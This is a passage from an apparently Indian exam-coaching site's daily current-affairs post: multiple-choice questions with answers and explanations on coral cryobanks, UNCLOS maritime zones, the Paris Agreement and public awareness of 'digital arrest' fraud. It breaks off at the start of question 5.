{"id":2683,"date":"2025-11-05T06:59:59","date_gmt":"2025-11-05T06:59:59","guid":{"rendered":"https:\/\/iasquest.com\/?p=2683"},"modified":"2026-02-11T18:49:08","modified_gmt":"2026-02-11T18:49:08","slug":"daily-current-affairs-04-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-04-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 04.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Which of the following are the significance of cryopreservation of corals?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">I. Protecting endangered coral species and maintaining genetic diversity<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">II. Producing coral larvae to restore degraded reefs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">III. Preserving coral species threatened by climate change<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Select the correct answer using the code below<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) I and II only\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) II and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) I and III only\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (d) I, II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> Battle for reefs &#8211; Scientists are helping corals fight back against warming seas<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Cryobanks for corals:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>Cryobanks for corals are specialized facilities that store coral genetic material (sperm, eggs, embryos, or larvae) at very low temperatures to preserve it for long-term conservation.<\/li>\n\n\n\n<li>This is done using cryopreservation techniques, which keep the cells viable for decades.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>How it Works:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>Coral sperm or eggs are collected during spawning events, which often occur at night once a year.<\/li>\n\n\n\n<li>The material is frozen at ultra-low temperatures using liquid nitrogen.<\/li>\n\n\n\n<li>Stored samples can later be thawed and used for fertilization, larval culture, or research.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li><strong>Biodiversity Conservation:<\/strong> Protects endangered coral species and maintains genetic diversity essential for resilience.<\/li>\n\n\n\n<li><strong>Restoration Support: <\/strong>Enables scientists to produce coral larvae for repopulating degraded reefs.<\/li>\n\n\n\n<li><strong>Climate Change Mitigation:<\/strong> Preserves coral species that might not survive in warming oceans.<\/li>\n\n\n\n<li><strong>Scientific Research: <\/strong>Supports studies in coral genetics, adaptation, and resilience.<\/li>\n\n\n\n<li><strong>Global Collaboration:<\/strong> Genetic material can be shared across countries for coordinated conservation efforts. <strong>Hence option (d) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Example:<\/strong>Taronga CryoDiversity Bank in Australia stores coral sperm and larvae from the Great Barrier Reef.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Most of the world&#8217;s coral reefs are in tropical waters. <br>2. More than one-third of the world&#8217;s coral reefs are located in the territories of Australia, Indonesia and Philippines. <br>3. Coral reefs host far more number of animal phyla than those hosted by tropical rainforests. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3 only <br>(c) 1 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/battle-for-reefs\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/climate-change\/battle-for-reefs<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>2. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>S.no<\/strong><\/td><td><strong>Zone<\/strong><\/td><td><strong>Breadth from Baseline<\/strong><\/td><td><strong>Sovereign Rights \/ Jurisdiction<\/strong><\/td><\/tr><tr><td>\u00a01<\/td><td>Territorial Sea<\/td><td>Up to 12 nautical miles (nm)<\/td><td>Full sovereignty of the coastal state; foreign ships enjoy <em>innocent passage<\/em>.<\/td><\/tr><tr><td>\u00a02<\/td><td>Contiguous Zone<\/td><td>12\u201324 nm<\/td><td>State can enforce laws on customs, taxation, immigration, and pollution.<\/td><\/tr><tr><td>\u00a03<\/td><td>Exclusive Economic Zone (EEZ)<\/td><td>Up to 200 nm<\/td><td>Sovereign rights for exploring and exploiting natural resources in water, seabed, and subsoil.<\/td><\/tr><tr><td>\u00a04<\/td><td>High Seas<\/td><td>Beyond EEZ<\/td><td>Open to all states; governed by international law.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>How many of the Pairs given above are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Answer: (d) All four<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>In NEWS: <\/strong>What are the challenges with the High Seas Treaty?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>United Nations Convention on the Law of the Sea (UNCLOS)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>The <strong>United Nations Convention on the Law of the Sea (UNCLOS)<\/strong> is often called the <strong>\u201cConstitution of the Oceans.\u201d<\/strong><\/li>\n\n\n\n<li>It establishes the <strong>legal framework<\/strong> for all activities in oceans and seas, balancing <strong>freedom of navigation<\/strong>, <strong>sovereign rights<\/strong>, and <strong>environmental protection<\/strong>.<\/li>\n\n\n\n<li><strong>Adopted:<\/strong> 1982 (Montego Bay, Jamaica)<\/li>\n\n\n\n<li><strong>Came into force:<\/strong> 1994<\/li>\n\n\n\n<li><strong>India ratified:<\/strong> 1995<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>To define maritime zones and jurisdictional rights of coastal states.<\/li>\n\n\n\n<li>To regulate navigation, resource exploitation, marine environment protection, and dispute resolution.<\/li>\n\n\n\n<li>To promote the <strong>peaceful use of oceans<\/strong>, equitable utilization of marine resources, and scientific research.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Major Maritime Zones under UNCLOS<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Zone<\/strong><\/td><td><strong>Breadth from Baseline<\/strong><\/td><td><strong>Sovereign Rights \/ Jurisdiction<\/strong><\/td><\/tr><tr><td><strong>Territorial Sea<\/strong><\/td><td>Up to <strong>12 nautical miles (nm)<\/strong><\/td><td>Full sovereignty of the coastal state; foreign ships enjoy <em>innocent passage<\/em>.<\/td><\/tr><tr><td><strong>Contiguous Zone<\/strong><\/td><td><strong>12\u201324 nm<\/strong><\/td><td>State can enforce laws on customs, taxation, immigration, and pollution.<\/td><\/tr><tr><td><strong>Exclusive Economic Zone (EEZ)<\/strong><\/td><td>Up to <strong>200 nm<\/strong><\/td><td>Sovereign rights for exploring and exploiting natural resources (living and non-living) in water, seabed, and subsoil.<\/td><\/tr><tr><td><strong>Continental Shelf<\/strong><\/td><td>Up to <strong>200 nm<\/strong> (can extend up to <strong>350 nm<\/strong> if proven)<\/td><td>Rights to exploit seabed and subsoil resources.<\/td><\/tr><tr><td><strong>High Seas<\/strong><\/td><td>Beyond <strong>EEZ<\/strong><\/td><td>Open to all states; governed by international law.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Hence all pairs are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Institutional Mechanisms under UNCLOS<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-37\">\n<li><strong>International Tribunal for the Law of the Sea (ITLOS)<\/strong> \u2013 settles disputes (based in Hamburg, Germany).<\/li>\n\n\n\n<li><strong>International Seabed Authority (ISA)<\/strong> \u2013 regulates deep seabed mining beyond national jurisdiction.<\/li>\n\n\n\n<li><strong>Commission on the Limits of the Continental Shelf (CLCS)<\/strong> \u2013 examines claims for extending continental shelves.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Importance for India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li>Defines India\u2019s maritime rights over its <strong>Exclusive Economic Zone (~2.02 million sq km)<\/strong>.<\/li>\n\n\n\n<li>Guides India\u2019s <strong>Blue Economy<\/strong>, deep-sea mining (Polymetallic nodules in the Central Indian Ocean), and fisheries.<\/li>\n\n\n\n<li>Basis for <strong>maritime boundary agreements<\/strong> with neighboring countries.<\/li>\n\n\n\n<li>Provides a legal framework for <strong>freedom of navigation<\/strong> in the Indo-Pacific, crucial for India\u2019s trade and naval strategy.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. With reference to the United Nations Convention on the Law of Sea, consider the following statements:<\/strong> <br><br>1. A coastal state has the right to establish the breadth of its territorial sea up to a limit not exceeding 12 nautical miles, measured from baseline determined in accordance with the convention. <br>2. Ships of all states, whether coastal or land-locked, enjoy the right of innocent passage through the territorial sea. <br>3. The Exclusive Economic Zone shall not extend beyond 200 nautical miles from the baseline from which the breadth of the territorial sea is measured. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/what-are-the-challenges-with-the-high-seas-treaty-explained\/article70237531.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/what-are-the-challenges-with-the-high-seas-treaty-explained\/article70237531.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>3. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Statement I: <\/strong>The Paris Agreement is a legally binding international treaty on climate change adopted under the United Nations Framework Convention on Climate Change (UNFCCC).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Statement II: <\/strong>It aims to limit global average temperature rise to well below 2\u00b0C above pre-industrial levels and to pursue efforts to limit it to 1.5\u00b0C.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Statement III: <\/strong>Under the Paris Agreement, all countries have common emission reduction targets which are legally enforceable through international sanctions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(a) Both Statement II and Statement III are correct and both of them explain Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(b) Both Statement II and Statement III are correct but only one of them explains Statement I\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">(c) Only one of the Statements II and III is correct and that explains Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">(d) Neither Statement II nor Statement III is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Answer: (c) Only one of the Statements II and III is correct and that explains Statement I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>In NEWS: <\/strong>10 years of Paris Agreement<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Paris Agreement (2015):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-54\">\n<li>The <strong>Paris Agreement<\/strong> is a <strong>legally binding international treaty on climate change<\/strong> adopted under the <strong>United Nations Framework Convention on Climate Change (UNFCCC)<\/strong>. <strong>Hence, Statement I is correct<\/strong><\/li>\n\n\n\n<li><strong>Adopted:<\/strong> December 12, 2015 (COP 21, Paris)<\/li>\n\n\n\n<li><strong>Entered into force:<\/strong> November 4, 2016<\/li>\n\n\n\n<li><strong>India ratified:<\/strong> October 2, 2016 (Gandhi Jayanti).<\/li>\n\n\n\n<li>It replaced the <strong>Kyoto Protocol (1997)<\/strong> as the main global climate framework.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Objective<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">To <strong>limit global warming<\/strong> to:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li><strong>Well below 2\u00b0C<\/strong> above pre-industrial levels, and<\/li>\n\n\n\n<li><strong>Pursue efforts<\/strong> to limit it to <strong>1.5\u00b0C<\/strong>. <strong>Hence, Statement II is correct and explains Statement I.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">It aims to enhance the global response to climate change by promoting <strong>climate resilience, adaptation, and low greenhouse gas emissions development<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Key Provisions<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Area<\/strong><\/td><td><strong>Provision \/ Mechanism<\/strong><\/td><\/tr><tr><td><strong>Global Temperature Goal<\/strong><\/td><td>Limit warming to &lt;2\u00b0C, preferably 1.5\u00b0C.<\/td><\/tr><tr><td><strong>Nationally Determined Contributions (NDCs)<\/strong><\/td><td>Each country sets its <strong>own emission reduction targets<\/strong>; <strong>no binding<\/strong> targets from the UN. <strong>Hence, Statement III is incorrect<\/strong><\/td><\/tr><tr><td><strong>Progressive Ambition<\/strong><\/td><td>NDCs to be <strong>updated every 5 years<\/strong>, reflecting the highest possible ambition.<\/td><\/tr><tr><td><strong>Transparency Framework<\/strong><\/td><td>Countries must <strong>report regularly<\/strong> on emissions and progress.<\/td><\/tr><tr><td><strong>Global Stocktake<\/strong><\/td><td>Conducted <strong>every 5 years<\/strong> (starting 2023) to assess collective progress.<\/td><\/tr><tr><td><strong>Climate Finance<\/strong><\/td><td>Developed countries to provide <strong>$100 billion annually<\/strong> to developing nations for mitigation and adaptation.<\/td><\/tr><tr><td><strong>Adaptation<\/strong><\/td><td>Equal emphasis on <strong>adaptation and mitigation<\/strong> measures.<\/td><\/tr><tr><td><strong>Loss and Damage<\/strong><\/td><td>Recognizes the need to <strong>address loss and damage<\/strong> from climate impacts, though not a liability mechanism.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Differentiated Responsibilities<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-61\">\n<li>Based on the principle of <strong>Common but Differentiated Responsibilities and Respective Capabilities (CBDR-RC)<\/strong>.<\/li>\n\n\n\n<li>Developed nations must <strong>take the lead<\/strong> in reducing emissions and financing developing countries.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>India\u2019s Commitments (NDCs under Paris Agreement)<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Goal<\/strong><\/td><td><strong>Target by 2030<\/strong><\/td><\/tr><tr><td><strong>Emission Intensity<\/strong><\/td><td>Reduce GDP emission intensity by <strong>45% from 2005 levels<\/strong>.<\/td><\/tr><tr><td><strong>Non-fossil Energy Capacity<\/strong><\/td><td>Achieve <strong>50% installed capacity<\/strong> from non-fossil fuel sources.<\/td><\/tr><tr><td><strong>Carbon Sink<\/strong><\/td><td>Create additional <strong>2.5 &#8211; 3 billion tonnes<\/strong> of CO\u2082 equivalent sink through forests.<\/td><\/tr><tr><td><strong>Renewable Energy<\/strong><\/td><td>500 GW non-fossil energy capacity.<\/td><\/tr><tr><td><strong>Net Zero<\/strong><\/td><td>Achieve <strong>Net Zero by 2070<\/strong> (announced at COP26, Glasgow).<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Mechanisms under Paris Agreement<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li><strong>Article 6 Mechanism:<\/strong> Market and non-market approaches to support emission reductions.<ul><li><strong>6.2:<\/strong> Bilateral carbon trading.<\/li><\/ul><ul><li><strong>6.4:<\/strong> Successor to Kyoto\u2019s Clean Development Mechanism (CDM).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>6.8:<\/strong> Non-market approaches (e.g., technology transfer, capacity building).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Global Stocktake (2023):<\/strong> First assessment held at <strong>COP28 (Dubai)<\/strong>.<\/li>\n\n\n\n<li><strong>Transparency Framework:<\/strong> Common rules for all nations to report GHG emissions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Institutions &amp; Finance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li><strong>Green Climate Fund (GCF):<\/strong> Mobilizes climate finance.<\/li>\n\n\n\n<li><strong>Adaptation Fund &amp; Technology Mechanism:<\/strong> Support developing countries.<\/li>\n\n\n\n<li><strong>Developed nations<\/strong> committed to mobilize <strong>$100 billion annually by 2020<\/strong>, extended through 2025.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Difference between Kyoto Protocol &amp; Paris Agreement<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Aspect<\/strong><\/td><td><strong>Kyoto Protocol (1997)<\/strong><\/td><td><strong>Paris Agreement (2015)<\/strong><\/td><\/tr><tr><td>Binding nature<\/td><td>Legally binding emission targets for developed countries only<\/td><td>Voluntary, self-determined targets (NDCs) for all countries<\/td><\/tr><tr><td>Approach<\/td><td>\u201cTop-down\u201d<\/td><td>\u201cBottom-up\u201d<\/td><\/tr><tr><td>Coverage<\/td><td>Only Annex I (developed)<\/td><td>All UNFCCC parties<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Recent Developments<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li><strong>COP26 (Glasgow, 2021):<\/strong><ul><li>Global <strong>Net Zero commitments<\/strong> by mid-century.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Glasgow Climate Pact<\/strong>: Phase down of unabated coal power and end of inefficient fossil fuel subsidies.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>COP27 (Egypt, 2022):<\/strong>\n<ul class=\"wp-block-list\">\n<li>Established a <strong>Loss and Damage Fund<\/strong> for vulnerable countries.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>COP28 (UAE, 2023):<\/strong>\n<ul class=\"wp-block-list\">\n<li>First <strong>Global Stocktake<\/strong> held under the Paris Agreement; emphasized energy transition and tripling renewables by 2030.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. With reference to the Agreement at the UNFCCC Meeting in Paris in 2015, which of the following statements is\/are correct?<\/strong> <br><br>1. The Agreement was signed by all the member countries of the UN and it will go into effect in 2017. <br>2. The Agreement aims to limit the greenhouse gas emissions so that the rise in average global temperature by the end of this century does not exceed 2\u00b0C or even 1.5\u00b0C above pre-industrial levels. <br>3. Developed countries acknowledged their historical responsibility in global warming and committed to donate $1000 billion a year from 2020 to help developing countries to cope with climate change. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 and 3 only <br><strong>(b) 2 only<\/strong> <br>c) 2 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.c2es.org\/document\/10-years-of-the-paris-agreement-progress-toward-achieving-key-goals\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.c2es.org\/document\/10-years-of-the-paris-agreement-progress-toward-achieving-key-goals\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>4. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">1. Digital arrest is a type of cybercrime where fraudsters, posing as law enforcement officials, intimidate and extort money from victims.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">2. In India, there is no system like digital arrest under law.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Answer: (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>In NEWS:<\/strong> \u2018Digital arrests\u2019 are a very big challenge; victims, mostly elderly, lost \u20b93,000 crore in India alone, says Supreme Court<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Digital Arrest:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>A &#8216;digital arrest&#8217; involves cybercriminals using deception and fear to control a victim&#8217;s digital communication and movement to extract money or information. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>There is no system like digital arrest under law. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"674\" height=\"673\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-6.png\" alt=\"\" class=\"wp-image-2688\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-6.png 674w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-6-300x300.png 300w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-6-150x150.png 150w\" sizes=\"auto, (max-width: 674px) 100vw, 674px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>How it works:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-85\">\n<li>Intimidation: The fraudsters call the victim and introduce themselves as officers from a government agency like the CBI, NCB, or Income Tax Department. They may use spoofed numbers or fake IDs to appear legitimate.<\/li>\n\n\n\n<li>False Accusations: The victim is falsely accused of involvement in serious crimes such as money laundering, drug trafficking, or tax evasion.<\/li>\n\n\n\n<li>Fear Tactics: The fraudsters create a sense of urgency and fear by threatening the victim with arrest, imprisonment, or other legal consequences.<\/li>\n\n\n\n<li>Extortion: The victim is demanded to pay a certain amount of money to avoid arrest or legal action. The payment is often made through online transactions or cryptocurrency.<\/li>\n\n\n\n<li>Constant Surveillance: In some cases, the victim is forced to remain under constant video surveillance through platforms like Skype or Zoom until the demands are met.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <strong>A digital signature is<\/strong> <br><br>1. an electronic record that identifies the certifying authority issuing it <br>2. used to serve as a proof of identity of an individual to access information or serve on Internet <br>3. an electronic method of signing an electronic document and ensuring that the original content is unchanged <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/supreme-court-shocked-over-3000-crore-loss-in-digital-arrest-scams\/article70235621.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/supreme-court-shocked-over-3000-crore-loss-in-digital-arrest-scams\/article70235621.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>5. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color 